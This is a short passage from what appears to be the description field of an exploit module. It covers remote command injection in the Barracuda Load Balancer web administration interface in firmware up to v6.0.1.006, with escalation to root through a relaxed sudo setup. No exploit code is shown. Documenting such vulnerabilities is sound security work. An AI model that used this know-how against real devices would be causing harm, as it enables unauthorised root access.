'Description' => %q{
This module exploits a remote command execution vulnerability in
the Barracuda Load Balancer Firmware Version <= v6.0.1.006 (2016-08-19) by exploiting a
vulnerability in the web administration interface.
By sending a specially crafted request it's possible to inject system
commands while escalating to root do to relaxed sudo configuration on the local
machine.
